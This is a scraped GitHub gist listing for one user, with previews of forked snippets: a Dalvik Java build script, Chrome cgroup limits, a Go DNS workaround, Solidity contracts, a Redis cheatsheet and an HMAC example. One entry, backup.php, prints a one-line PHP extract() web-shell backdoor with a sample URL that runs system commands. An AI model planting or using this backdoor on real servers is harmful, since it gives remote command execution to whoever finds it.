Skip to content

Instantly share code, notes, and snippets.

View vinhjaxt's full-sized avatar
🏠
Working from home

🇻🇳 vinhjaxt

🏠
Working from home
View GitHub Profile
@vinhjaxt
vinhjaxt / dalvik.sh
Created June 16, 2021 08:24 — forked from maluta/dalvik.sh
Command line Java on DalvikVM
#!/bin/sh
DIR="tmp_"$$
JAR=`echo $1 | tr '.' ' ' | awk '{ print $1 }'`
rm -rf $JAR.jar
mkdir $DIR
cp $1 $DIR
cd $DIR
echo "** Compiling java file..."
javac -d . -g $1
echo "** Creating temporary jar..."
@vinhjaxt
vinhjaxt / Description.md
Last active February 5, 2021 07:11 — forked from juanje/Description.md
Limit Chrome from eating all the memory and CPU

I was tired of Chrome eating all my laptop resources so I decided to put some limit to it with cgroup.

As I was using Debian with support for cgroup, I installed the package cgroup-tools and add the following group to the file /etc/cgconfig.conf:

group browsers {
    cpu {
#       Set the relative share of CPU resources equal to 25%
        cpu.shares = "256";
 }
@vinhjaxt
vinhjaxt / setDefaultNS.go
Created September 30, 2020 13:41 — forked from cs8425/setDefaultNS.go
DNS resolve workaround for android in pure go
package main
import (
"fmt"
"net"
"sync"
"time"
_ "unsafe"
)
@vinhjaxt
vinhjaxt / EIP712.sol
Created September 13, 2020 03:50 — forked from anubhavgirdhar/EIP712.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
pragma solidity ^0.5.0;
contract EIP712 {
mapping(address => uint256) public nonces;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
@vinhjaxt
vinhjaxt / EIP20Interface.sol
Created September 13, 2020 03:50 — forked from anubhavgirdhar/EIP20Interface.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
@vinhjaxt
vinhjaxt / swap.js
Created September 13, 2020 03:47 — forked from tienshaoku/swap.js
function swapETHToDai() public payable returns(uint[] memory) {
// static array: address[k] memory array;
// The following is the dynamic array way of initialization
address[] memory _paths = new address[](2);
// Also, push() is for storage array.
_paths[0] = WETHAddress;
_paths[1] = DaiAddress;
return uniswapV2Router01.swapExactETHForTokens{value: msg.value}(0, _paths, msg.sender, now + 120);
}
@vinhjaxt
vinhjaxt / 1_Storage.sol
Created September 13, 2020 03:46 — forked from shahzaintariq/1_Storage.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
pragma solidity >=0.4.22 <0.7.0;
/**
* @title Storage
* @dev Store & retreive value in a variable
*/
contract Storage {
uint256 number;
@vinhjaxt
vinhjaxt / redis_cheatsheet.bash
Created October 18, 2018 13:00 — forked from LeCoupa/redis_cheatsheet.bash
Redis Cheatsheet - Basic Commands You Must Know --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
# Redis Cheatsheet
# All the commands you need to know
redis-server /path/redis.conf # start redis with the related configuration file
redis-cli # opens a redis prompt
# Strings.
@vinhjaxt
vinhjaxt / backup.php
Created October 9, 2017 12:07 — forked from leonjza/backup.php
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
<?php extract($_REQUEST); @die($ctime($atime));
@vinhjaxt
vinhjaxt / Signature.java
Created July 23, 2017 00:24 — forked from border/Signature.java
Signature for php and java
static String generateSignature () {
String encoded = "";
String type = "HmacSHA1";
try {
byte[] key = ("KEY").getBytes("UTF-8");
byte[] Sequence = ("hello").getBytes("UTF-8");
Mac HMAC = Mac.getInstance(type);
SecretKeySpec secretKey = new SecretKeySpec(key, type);